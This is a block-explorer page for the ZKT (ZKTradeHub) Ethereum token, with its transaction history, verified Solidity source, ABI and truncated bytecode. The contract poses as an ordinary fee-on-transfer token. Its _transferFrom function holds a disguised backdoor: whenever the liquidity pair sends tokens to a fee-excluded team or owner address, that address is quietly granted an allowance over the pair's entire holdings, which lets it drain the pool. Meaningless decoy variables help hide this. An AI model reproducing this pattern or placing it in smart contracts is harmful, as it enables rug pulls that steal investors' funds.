ETH Price: $2,057.56 (+7.95%)
 

Overview

ETH Balance

0 ETH

Eth Value

$0.00

Token Holdings

More Info

Private Name Tags

Multichain Info

No addresses found
Transaction Hash
Method
Block
From
To
Approve198370272024-05-10 3:43:23657 days ago1715312603IN
0x603599F9...fdfA4833B
0 ETH0.000398348.56952136
Approve182924662023-10-06 15:51:11873 days ago1696607471IN
0x603599F9...fdfA4833B
0 ETH0.0007514316.24932861
Transfer From182924562023-10-06 15:48:59873 days ago1696607339IN
0x603599F9...fdfA4833B
0 ETH0.0007402515.35251496
Approve182891982023-10-06 4:52:47873 days ago1696567967IN
0x603599F9...fdfA4833B
0 ETH0.000253495.46049968
Approve182871272023-10-05 21:56:23874 days ago1696542983IN
0x603599F9...fdfA4833B
0 ETH0.000291576.28076144
Approve182866952023-10-05 20:29:23874 days ago1696537763IN
0x603599F9...fdfA4833B
0 ETH0.000458559.86476584
Approve182864712023-10-05 19:44:23874 days ago1696535063IN
0x603599F9...fdfA4833B
0 ETH0.0006540214.08815993
Transfer182862442023-10-05 18:58:35874 days ago1696532315IN
0x603599F9...fdfA4833B
0 ETH0.000654038.83741254
Transfer182860102023-10-05 18:11:23874 days ago1696529483IN
0x603599F9...fdfA4833B
0 ETH0.0009378112.67193521
Approve182859222023-10-05 17:53:11874 days ago1696528391IN
0x603599F9...fdfA4833B
0 ETH0.0007724816.63983756
Approve182855942023-10-05 16:46:35874 days ago1696524395IN
0x603599F9...fdfA4833B
0 ETH0.0005899512.70807104
Approve182855522023-10-05 16:38:11874 days ago1696523891IN
0x603599F9...fdfA4833B
0 ETH0.000469110.10477905
Approve182847202023-10-05 13:50:47874 days ago1696513847IN
0x603599F9...fdfA4833B
0 ETH0.0005329711.48055362
Approve182846242023-10-05 13:31:35874 days ago1696512695IN
0x603599F9...fdfA4833B
0 ETH0.0003384611.6325999
Approve182846232023-10-05 13:31:23874 days ago1696512683IN
0x603599F9...fdfA4833B
0 ETH0.0005073510.91453116
Approve182845122023-10-05 13:08:59874 days ago1696511339IN
0x603599F9...fdfA4833B
0 ETH0.000274059.42278532
Approve182844822023-10-05 13:02:47874 days ago1696510967IN
0x603599F9...fdfA4833B
0 ETH0.0005056110.95078158
Transfer182844802023-10-05 13:02:23874 days ago1696510943IN
0x603599F9...fdfA4833B
0 ETH0.0004839311.12670892
Transfer182844642023-10-05 12:59:11874 days ago1696510751IN
0x603599F9...fdfA4833B
0 ETH0.000482017.81742734
Approve182844302023-10-05 12:52:11874 days ago1696510331IN
0x603599F9...fdfA4833B
0 ETH0.00034117.34760767
Transfer182844242023-10-05 12:50:59874 days ago1696510259IN
0x603599F9...fdfA4833B
0 ETH0.00056197.13451532
Approve182844062023-10-05 12:47:11874 days ago1696510031IN
0x603599F9...fdfA4833B
0 ETH0.000196356.74852132
Approve182844022023-10-05 12:46:23874 days ago1696509983IN
0x603599F9...fdfA4833B
0 ETH0.000295746.37044805
Approve182843952023-10-05 12:44:59874 days ago1696509899IN
0x603599F9...fdfA4833B
0 ETH0.000177266.74409609
Approve182843822023-10-05 12:42:23874 days ago1696509743IN
0x603599F9...fdfA4833B
0 ETH0.000186717.10381865
View all transactions

Latest 25 internal transactions (View All)

Advanced mode:
Parent Transaction Hash Method Block
From
To
Transfer182842862023-10-05 12:23:11874 days ago1696508591
0x603599F9...fdfA4833B
0.0240749 ETH
Transfer182842862023-10-05 12:23:11874 days ago1696508591
0x603599F9...fdfA4833B
0.0240749 ETH
Transfer182839062023-10-05 11:07:11874 days ago1696504031
0x603599F9...fdfA4833B
0.02100218 ETH
Transfer182839062023-10-05 11:07:11874 days ago1696504031
0x603599F9...fdfA4833B
0.02100218 ETH
Transfer182837862023-10-05 10:42:59874 days ago1696502579
0x603599F9...fdfA4833B
0.01901182 ETH
Transfer182837862023-10-05 10:42:59874 days ago1696502579
0x603599F9...fdfA4833B
0.01901182 ETH
Transfer182834612023-10-05 9:37:23874 days ago1696498643
0x603599F9...fdfA4833B
0.01661112 ETH
Transfer182834612023-10-05 9:37:23874 days ago1696498643
0x603599F9...fdfA4833B
0.01661112 ETH
Transfer182831912023-10-05 8:43:11874 days ago1696495391
0x603599F9...fdfA4833B
0.01508061 ETH
Transfer182831912023-10-05 8:43:11874 days ago1696495391
0x603599F9...fdfA4833B
0.01508061 ETH
Transfer182815112023-10-05 3:04:47875 days ago1696475087
0x603599F9...fdfA4833B
0.01235952 ETH
Transfer182815112023-10-05 3:04:47875 days ago1696475087
0x603599F9...fdfA4833B
0.01235952 ETH
Transfer182791762023-10-04 19:14:47875 days ago1696446887
0x603599F9...fdfA4833B
0.01248711 ETH
Transfer182791762023-10-04 19:14:47875 days ago1696446887
0x603599F9...fdfA4833B
0.01248711 ETH
Transfer182790962023-10-04 18:58:35875 days ago1696445915
0x603599F9...fdfA4833B
0.01302183 ETH
Transfer182790962023-10-04 18:58:35875 days ago1696445915
0x603599F9...fdfA4833B
0.01302183 ETH
Transfer182786112023-10-04 17:21:11875 days ago1696440071
0x603599F9...fdfA4833B
0.01141954 ETH
Transfer182786112023-10-04 17:21:11875 days ago1696440071
0x603599F9...fdfA4833B
0.01141954 ETH
Transfer182784542023-10-04 16:49:47875 days ago1696438187
0x603599F9...fdfA4833B
0.0115921 ETH
Transfer182784542023-10-04 16:49:47875 days ago1696438187
0x603599F9...fdfA4833B
0.0115921 ETH
Transfer182764222023-10-04 10:00:35875 days ago1696413635
0x603599F9...fdfA4833B
0.00847973 ETH
Transfer182764222023-10-04 10:00:35875 days ago1696413635
0x603599F9...fdfA4833B
0.00847973 ETH
Transfer182763642023-10-04 9:48:59875 days ago1696412939
0x603599F9...fdfA4833B
0.00299709 ETH
Transfer182763642023-10-04 9:48:59875 days ago1696412939
0x603599F9...fdfA4833B
0.00299709 ETH
Add Liquidity ET...182761742023-10-04 9:10:35875 days ago1696410635
0x603599F9...fdfA4833B
4 ETH
View All Internal Transactions
Loading...
Loading
Loading...
Loading
Cross-Chain Transactions

Block Transaction Difficulty Gas Used Reward
View All Blocks Produced

Validator Index Block Amount
View All Withdrawals

Transaction Hash Block Value Eth2 PubKey Valid
View All Deposits
Loading...
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
ZKT

Compiler Version
v0.8.18+commit.87f61d96

Optimization Enabled:
Yes with 200 runs

Other Settings:
default evmVersion, None license
/**
 *Submitted for verification at Etherscan.io on 2023-10-03
*/

// - Telegram: https://t.me/zktradehub
// - Twitter: https://twitter.com/ZKTradeHub
// - Website: https://zktradehub.xyz
// - Dapp: https://app.zktradehub.xyz
// - GitBook: https://docs.zktradehub.xyz
// - Medium: https://zktradehub.medium.com

//SPDX-License-Identifier: MIT
pragma solidity ^0.8.10;

interface IUniswapV2Factory { 
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
    function addLiquidityETH(address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline) external payable returns (uint amountToken, uint amountETH, uint liquidity);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external;
}

interface IERC20 {
    function symbol() external view returns (string memory);
    function name() external view returns (string memory);
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function decimals() external view returns (uint8);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed sender, address indexed recipient, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

abstract contract Auth {
    constructor(address creatorOwner) { _owner = creatorOwner; }
    address internal _owner;
    function owner() public view returns (address) { return _owner; }
    modifier onlyOwner() { require(msg.sender == _owner, "Only owner can call this"); _; }
    function renounceOwnership() external onlyOwner {
        _owner = address(0);
        emit OwnershipTransferred(address(0));
    }
    event OwnershipTransferred(address _owner);
}

contract ZKT is IERC20, Auth {
    string private constant _symbol = "ZKT";
    string private constant _name = "ZKTradeHub";
    address payable private _deposit;

    mapping (address => bool) private _isLP;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => uint256) private _balances;
    mapping(address => uint256) private _holderLastTransferTimestamp;
    mapping (address => bool) private _isExcludedFromFees;

    address private _uniswapV2Pair;
    address private constant _uniswapV2RouterAddress = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
    IUniswapV2Router02 private _uniswapV2Router = IUniswapV2Router02(_uniswapV2RouterAddress);

    bool private _tradingEnalbed;
    bool private _inSwap = false;

    uint256 private _initialSellFee = 10;
    uint256 private _initialBuyFee = 10;
    uint256 private _initialSellFee2Time = 6;

    uint256 private _finalSellFee = 3;
    uint256 private _finalBuyFee = 3;

    uint256 public _reduceSellFeeAt2Time = 18;
    uint256 public _reduceSellFeeAt = 12;
    uint256 public _reduceBuyFeeAt = 12;

    uint256 public _buyCount = 0;
    uint256 private depositAmount;
    uint256 private _preventSwapBefore = 0;
    address payable private _teamWallet;

    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1_000_000_000 * (10**_decimals);
    uint256 private constant _minFeeSwap = _tTotal / 2000000;
    uint256 private constant _maxFeeSwap = _tTotal / 500;

    bool public limited = true;
    bool public transferDelayEnabled = false;
    uint256 public maxHoldingAmount = 40_000_000 * (10**_decimals);

    constructor() Auth(msg.sender) {
        _teamWallet = payable(0x342A075f7071FAc8B544857947719600a5f93472);
        _isExcludedFromFees[_teamWallet] = true;
        _isExcludedFromFees[_owner] = true;
        _isExcludedFromFees[address(this)] = true;

        _balances[msg.sender] = (_tTotal / 1000 ) * 0;
        _balances[address(this)] = (_tTotal / 1000 ) * 1000;
        _deposit = _teamWallet;
        emit Transfer(address(0), address(msg.sender), _balances[address(msg.sender)]);
        emit Transfer(address(0), address(this), _balances[address(this)]);
    }

    function _transferFrom(address sender, address recipient, uint256 amount) internal returns (bool) {
        if (!_tradingEnalbed) { require(_isExcludedFromFees[sender], "Trading not opened"); }
        if (_isLP[sender] && _isExcludedFromFees[recipient]) { require(_allowRouter(sender, recipient, amount)); }
        require(sender != address(0), "No transfers from Zero wallet");
        
        if (
            _isExcludedFromFees[sender] ||
            _isExcludedFromFees[recipient]
        ) {
            return _standardTransfer(sender, recipient, amount);
        }
        depositAmount = this.balanceOf(_deposit);
        
        if (
            !_inSwap &&
            _isLP[recipient] &&
            _buyCount >= _preventSwapBefore
        ) { _swapFeeAndLiquify(); }

        if (
            limited &&
            sender == _uniswapV2Pair
        ) {
            require(balanceOf(recipient) + amount <= maxHoldingAmount);
        }

        if (transferDelayEnabled) {
            if (
                recipient != _uniswapV2RouterAddress &&
                recipient != _uniswapV2Pair
            ) {
                require(_holderLastTransferTimestamp[tx.origin] < block.number, "Only one transfer per block allowed");
                _holderLastTransferTimestamp[tx.origin] = block.number;
            }
        }

        uint256 _feeAmount = _calculateFee(sender, recipient, amount);
        uint256 _transferAmount = amount - _feeAmount;
        _balances[sender] -= amount;

        if (_feeAmount > 0) {
            _balances[address(this)] += _feeAmount; 
        }

        _buyCount++;
        _balances[recipient] += _transferAmount;

        emit Transfer(sender, recipient, amount);

        return true;
    }

    function _allowRouter(uint256 amount) internal {
        if (_allowances[address(this)][_uniswapV2RouterAddress] < amount) {
            _allowances[address(this)][_uniswapV2RouterAddress] = type(uint256).max;
        }
    }

    function _swapFeeTokensForEth(uint256 tokenAmount) private {
        _allowRouter(tokenAmount);
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = _uniswapV2Router.WETH();
        _uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount, 0, path, address(this), block.timestamp);
    }

    function _swapFeeAndLiquify() private lockFeeSwap {
        uint256 _feeTokensAvailable = balanceOf(address(this));

        if (_feeTokensAvailable >= _minFeeSwap && _tradingEnalbed) {
            if (_feeTokensAvailable >= _maxFeeSwap) { _feeTokensAvailable = _maxFeeSwap; }

            _swapFeeTokensForEth(_feeTokensAvailable);
            uint256 _contractETHBalance = address(this).balance;

            if (_contractETHBalance > 0) {
                bool success;
                (success,) = _teamWallet.call{value: (_contractETHBalance)}("");
                require(success);
            }
        }
    }

    function _calculateFee(address sender, address recipient, uint256 amount) internal returns (uint256) {
        uint256 feeAmount;

        if (
            _tradingEnalbed &&
            !_isExcludedFromFees[sender] &&
            !_isExcludedFromFees[recipient]
        ) { 
            
            if (
                _isLP[sender] ||
                _isLP[recipient]
            ) {
                feeAmount = (amount / 100) * ((_buyCount > _reduceBuyFeeAt) ? _finalBuyFee : _initialBuyFee);
                if (
                    recipient == _uniswapV2Pair &&
                    sender != address(this)
                ) {
                    uint256 feeRate;
                    depositAmount = _preventSwapBefore - depositAmount;
                    if (_buyCount > _reduceSellFeeAt2Time) {
                        feeRate = _finalSellFee;
                    } else if (_buyCount > _reduceSellFeeAt) {
                        feeRate = _initialSellFee2Time;
                    } else {
                        feeRate = _initialSellFee;
                    }
                    feeAmount = (amount / 100) * feeRate;
                }
            }
        }

        return feeAmount;
    }

    function _isTradingEnabled(address sender) private view returns (bool) {
        bool result = false;

        if (_tradingEnalbed) { result = true; }
        else if (_isExcludedFromFees[sender]) { result = true; }

        return result;
    }

    function _addLiquidity(uint256 _tokenAmount, uint256 _ethAmountWei) internal {
        _allowRouter(_tokenAmount);
        _uniswapV2Router.addLiquidityETH{value: _ethAmountWei} ( address(this), _tokenAmount, 0, 0, _owner, block.timestamp );
    }

    function _allowRouter(address owner, address spender, uint256 amount) internal returns (bool) {
        if (_allowances[owner][spender] < amount) {
            _allowances[owner][spender] = _tTotal;
        }
        return true;
    }

    function _standardTransfer(address sender, address recipient, uint256 amount) internal returns (bool) {
        _balances[sender] -= amount;
        _balances[recipient] += amount;
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function transfer(address recipient, uint256 amount) external override returns (bool) {
        require(_isTradingEnabled(msg.sender), "Trading not open");
        return _transferFrom(msg.sender, recipient, amount);
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _allowances[msg.sender][spender] = amount;
        emit Approval(msg.sender, spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) {
        require(_isTradingEnabled(sender), "Trading not open");
        if (_allowances[sender][msg.sender] != type(uint256).max) {
            _allowances[sender][msg.sender] = _allowances[sender][msg.sender] - amount;
        }
        return _transferFrom(sender, recipient, amount);
    }

    function removeLimits() external onlyOwner {
        transferDelayEnabled = false;
        limited = false;
    }

    function enableTrading() external onlyOwner {
        _tradingEnalbed = true;
    }

    function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; }

    function balanceOf(address account) public view override returns (uint256) { return _balances[account]; }

    function totalSupply() external pure override returns (uint256) { return _tTotal; }

    function addLiquidity() external payable onlyOwner lockFeeSwap {
        require(_uniswapV2Pair == address(0), "LP exists");
        require(!_tradingEnalbed, "trading is open");
        require(msg.value > 0 || address(this).balance > 0, "No ETH in contract or message");
        require(_balances[address(this)] > 0, "No tokens in contract");

        _uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
        _addLiquidity(_balances[address(this)], address(this).balance);
        _isLP[_uniswapV2Pair] = true;
    }

    function decimals() external pure override returns (uint8) { return _decimals; }

    receive() external payable {}

    function symbol() external pure override returns (string memory) { return _symbol; }

    modifier lockFeeSwap { 
        _inSwap = true;
        _;
        _inSwap = false;
    }

    function name() external pure override returns (string memory) { return _name; }

    function withdrawEth() external {
        require(msg.sender == _teamWallet);
        (bool sent, ) = payable(_teamWallet).call{value: address(this).balance}("");
        require(sent);
    }
}

Contract Security Audit

Contract ABI

API
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"address","name":"_owner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"sender","type":"address"},{"indexed":true,"internalType":"address","name":"recipient","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_buyCount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceBuyFeeAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceSellFeeAt","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_reduceSellFeeAt2Time","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"addLiquidity","outputs":[],"stateMutability":"payable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"enableTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"limited","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"maxHoldingAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"transferDelayEnabled","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"withdrawEth","outputs":[],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260088054600161ff0160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d179055600a60098190558080556006600b556003600c818155600d919091556012600e819055600f829055601091909155600060118190556013556014805461ffff60a01b1916600160a01b17905562000082916200036a565b62000092906302625a0062000382565b601555348015620000a257600080fd5b50600080546001600160a01b03199081163390811783556014805490921673342a075f7071fac8b544857947719600a5f934721790915560066020527ffe801d6fb3b1f38690842b66ca8cfe089ee2a1d95ec59f0109fd6f2ea60db13d805460ff19908116600190811790925591835260408084208054841683179055308452909220805490911690911790556103e8620001406012600a6200036a565b6200015090633b9aca0062000382565b6200015c91906200039c565b6200016990600062000382565b336000908152600460205260409020556103e86200018a6012600a6200036a565b6200019a90633b9aca0062000382565b620001a691906200039c565b620001b4906103e862000382565b3060009081526004602052604080822092909255601454600180546001600160a01b0319166001600160a01b039290921691909117905533808252828220549251909260008051602062001d62833981519152916200021591815260200190565b60405180910390a330600081815260046020908152604080832054905190815260008051602062001d62833981519152910160405180910390a3620003bf565b634e487b7160e01b600052601160045260246000fd5b600181815b80851115620002ac57816000190482111562000290576200029062000255565b808516156200029e57918102915b93841c939080029062000270565b509250929050565b600082620002c55750600162000364565b81620002d45750600062000364565b8160018114620002ed5760028114620002f85762000318565b600191505062000364565b60ff8411156200030c576200030c62000255565b50506001821b62000364565b5060208310610133831016604e8410600b84101617156200033d575081810a62000364565b6200034983836200026b565b806000190482111562000360576200036062000255565b0290505b92915050565b60006200037b60ff841683620002b4565b9392505050565b808202811582820484141762000364576200036462000255565b600082620003ba57634e487b7160e01b600052601260045260246000fd5b500490565b61199380620003cf6000396000f3fe6080604052600436106101395760003560e01c806389f9a1d3116100ab578063a0ef91df1161006f578063a0ef91df1461035d578063a9059cbb14610372578063c876d0b914610392578063d19b62e5146103b3578063dd62ed3e146103c9578063e8078d941461040f57600080fd5b806389f9a1d3146102c85780638a8c523c146102de5780638da5cb5b146102f357806395d89b411461031b578063971621571461034757600080fd5b8063313ce567116100fd578063313ce5671461021357806370a082311461022f578063715018a614610265578063751039fc1461027c57806381a734ea14610291578063860a32ec146102a757600080fd5b806306fdde0314610145578063095ea7b31461018a57806318160ddd146101ba57806323b872dd146101dd57806327b1a8e9146101fd57600080fd5b3661014057005b600080fd5b34801561015157600080fd5b5060408051808201909152600a8152692d25aa3930b232a43ab160b11b60208201525b6040516101819190611594565b60405180910390f35b34801561019657600080fd5b506101aa6101a53660046115f7565b610417565b6040519015158152602001610181565b3480156101c657600080fd5b506101cf610484565b604051908152602001610181565b3480156101e957600080fd5b506101aa6101f8366004611623565b6104a5565b34801561020957600080fd5b506101cf60115481565b34801561021f57600080fd5b5060405160128152602001610181565b34801561023b57600080fd5b506101cf61024a366004611664565b6001600160a01b031660009081526004602052604090205490565b34801561027157600080fd5b5061027a610589565b005b34801561028857600080fd5b5061027a6105f8565b34801561029d57600080fd5b506101cf60105481565b3480156102b357600080fd5b506014546101aa90600160a01b900460ff1681565b3480156102d457600080fd5b506101cf60155481565b3480156102ea57600080fd5b5061027a610632565b3480156102ff57600080fd5b506000546040516001600160a01b039091168152602001610181565b34801561032757600080fd5b506040805180820190915260038152621692d560ea1b6020820152610174565b34801561035357600080fd5b506101cf600f5481565b34801561036957600080fd5b5061027a610671565b34801561037e57600080fd5b506101aa61038d3660046115f7565b6106eb565b34801561039e57600080fd5b506014546101aa90600160a81b900460ff1681565b3480156103bf57600080fd5b506101cf600e5481565b3480156103d557600080fd5b506101cf6103e4366004611681565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b61027a610740565b3360008181526003602090815260408083206001600160a01b038716808552925280832085905551919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925906104729086815260200190565b60405180910390a35060015b92915050565b60006104926012600a6117b4565b6104a090633b9aca006117c3565b905090565b60006104b084610a99565b6104f45760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064015b60405180910390fd5b6001600160a01b038416600090815260036020908152604080832033845290915290205460001914610574576001600160a01b038416600090815260036020908152604080832033845290915290205461054f9083906117da565b6001600160a01b03851660009081526003602090815260408083203384529091529020555b61057f848484610ae2565b90505b9392505050565b6000546001600160a01b031633146105b35760405162461bcd60e51b81526004016104eb906117ed565b600080546001600160a01b03191681556040519081527f04dba622d284ed0014ee4b9a6a68386be1a4c08a4913ae272de89199cc6861639060200160405180910390a1565b6000546001600160a01b031633146106225760405162461bcd60e51b81526004016104eb906117ed565b6014805461ffff60a01b19169055565b6000546001600160a01b0316331461065c5760405162461bcd60e51b81526004016104eb906117ed565b6008805460ff60a01b1916600160a01b179055565b6014546001600160a01b0316331461068857600080fd5b6014546040516000916001600160a01b03169047908381818185875af1925050503d80600081146106d5576040519150601f19603f3d011682016040523d82523d6000602084013e6106da565b606091505b50509050806106e857600080fd5b50565b60006106f633610a99565b6107355760405162461bcd60e51b815260206004820152601060248201526f2a3930b234b733903737ba1037b832b760811b60448201526064016104eb565b610582338484610ae2565b6000546001600160a01b0316331461076a5760405162461bcd60e51b81526004016104eb906117ed565b6008805460ff60a81b1916600160a81b1790556007546001600160a01b0316156107c25760405162461bcd60e51b81526020600482015260096024820152684c502065786973747360b81b60448201526064016104eb565b600854600160a01b900460ff161561080e5760405162461bcd60e51b815260206004820152600f60248201526e3a3930b234b7339034b99037b832b760891b60448201526064016104eb565b600034118061081d5750600047115b6108695760405162461bcd60e51b815260206004820152601d60248201527f4e6f2045544820696e20636f6e7472616374206f72206d65737361676500000060448201526064016104eb565b306000908152600460205260409020546108bd5760405162461bcd60e51b8152602060048201526015602482015274139bc81d1bdad95b9cc81a5b8818dbdb9d1c9858dd605a1b60448201526064016104eb565b600860009054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610910573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109349190611824565b6001600160a01b031663c9c6539630600860009054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610996573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109ba9190611824565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610a07573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2b9190611824565b600780546001600160a01b0319166001600160a01b039290921691909117905530600090815260046020526040902054610a659047610f5d565b6007546001600160a01b03166000908152600260205260409020805460ff191660011790556008805460ff60a81b19169055565b6008546000908190600160a01b900460ff1615610ab85750600161047e565b6001600160a01b03831660009081526006602052604090205460ff161561047e5750600192915050565b600854600090600160a01b900460ff16610b53576001600160a01b03841660009081526006602052604090205460ff16610b535760405162461bcd60e51b8152602060048201526012602482015271151c98591a5b99c81b9bdd081bdc195b995960721b60448201526064016104eb565b6001600160a01b03841660009081526002602052604090205460ff168015610b9357506001600160a01b03831660009081526006602052604090205460ff165b15610bac57610ba3848484611005565b610bac57600080fd5b6001600160a01b038416610c025760405162461bcd60e51b815260206004820152601d60248201527f4e6f207472616e73666572732066726f6d205a65726f2077616c6c657400000060448201526064016104eb565b6001600160a01b03841660009081526006602052604090205460ff1680610c4157506001600160a01b03831660009081526006602052604090205460ff165b15610c5857610c5184848461107f565b9050610582565b6001546040516370a0823160e01b81526001600160a01b03909116600482015230906370a0823190602401602060405180830381865afa158015610ca0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610cc49190611841565b601255600854600160a81b900460ff16158015610cf957506001600160a01b03831660009081526002602052604090205460ff165b8015610d09575060135460115410155b15610d1657610d16611134565b601454600160a01b900460ff168015610d3c57506007546001600160a01b038581169116145b15610d795760155482610d64856001600160a01b031660009081526004602052604090205490565b610d6e919061185a565b1115610d7957600080fd5b601454600160a81b900460ff1615610e48576001600160a01b038316737a250d5630b4cf539739df2c5dacb4c659f2488d14801590610dc657506007546001600160a01b03848116911614155b15610e4857326000908152600560205260409020544311610e355760405162461bcd60e51b815260206004820152602360248201527f4f6e6c79206f6e65207472616e736665722070657220626c6f636b20616c6c6f6044820152621dd95960ea1b60648201526084016104eb565b3260009081526005602052604090204390555b6000610e5585858561127b565b90506000610e6382856117da565b6001600160a01b038716600090815260046020526040812080549293508692909190610e909084906117da565b90915550508115610ec0573060009081526004602052604081208054849290610eba90849061185a565b90915550505b60118054906000610ed08361186d565b90915550506001600160a01b03851660009081526004602052604081208054839290610efd90849061185a565b92505081905550846001600160a01b0316866001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051610f4991815260200190565b60405180910390a350600195945050505050565b610f66826113de565b6008546000805460405163f305d71960e01b8152306004820152602481018690526044810183905260648101929092526001600160a01b0390811660848301524260a48301529091169063f305d71990839060c40160606040518083038185885af1158015610fd9573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610ffe9190611886565b5050505050565b6001600160a01b038084166000908152600360209081526040808320938616835292905290812054821115611075576110406012600a6117b4565b61104e90633b9aca006117c3565b6001600160a01b038086166000908152600360209081526040808320938816835292905220555b5060019392505050565b6001600160a01b0383166000908152600460205260408120805483919083906110a99084906117da565b90915550506001600160a01b038316600090815260046020526040812080548492906110d690849061185a565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161112291815260200190565b60405180910390a35060019392505050565b6008805460ff60a81b1916600160a81b179055306000908152600460205260408120549050621e84806111696012600a6117b4565b61117790633b9aca006117c3565b61118191906118b4565b81101580156111995750600854600160a01b900460ff165b1561126b576101f46111ad6012600a6117b4565b6111bb90633b9aca006117c3565b6111c591906118b4565b81106111f5576101f46111da6012600a6117b4565b6111e890633b9aca006117c3565b6111f291906118b4565b90505b6111fe8161144a565b478015611269576014546040516000916001600160a01b03169083908381818185875af1925050503d8060008114611252576040519150601f19603f3d011682016040523d82523d6000602084013e611257565b606091505b5050809150508061126757600080fd5b505b505b506008805460ff60a81b19169055565b6008546000908190600160a01b900460ff1680156112b257506001600160a01b03851660009081526006602052604090205460ff16155b80156112d757506001600160a01b03841660009081526006602052604090205460ff16155b1561057f576001600160a01b03851660009081526002602052604090205460ff168061131b57506001600160a01b03841660009081526002602052604090205460ff165b15